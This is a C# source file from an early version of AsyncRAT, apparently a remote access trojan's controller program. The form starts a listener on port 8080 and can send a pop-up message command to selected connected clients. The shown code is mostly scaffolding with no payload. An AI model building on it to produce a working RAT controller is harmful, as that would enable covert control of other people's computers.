2019-01-18 20:02:02 -08:00

42 lines
1.2 KiB
C#

using System;
using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using Microsoft.VisualBasic;
namespace AsyncRAT_Sharp
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
Handle_Packet.HandlePacket.Form = this;
Listener listener = new Listener();
listener.Connect(8080);
}
private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e)
{
string URL = Interaction.InputBox("Message", "Message", "Hello World!");
if (string.IsNullOrEmpty(URL))
return;
else
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "MessageBox";
msgpack.ForcePathObject("Message").AsString = URL;
foreach (ListViewItem C in listView1.SelectedItems)
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
}
}
}
}
}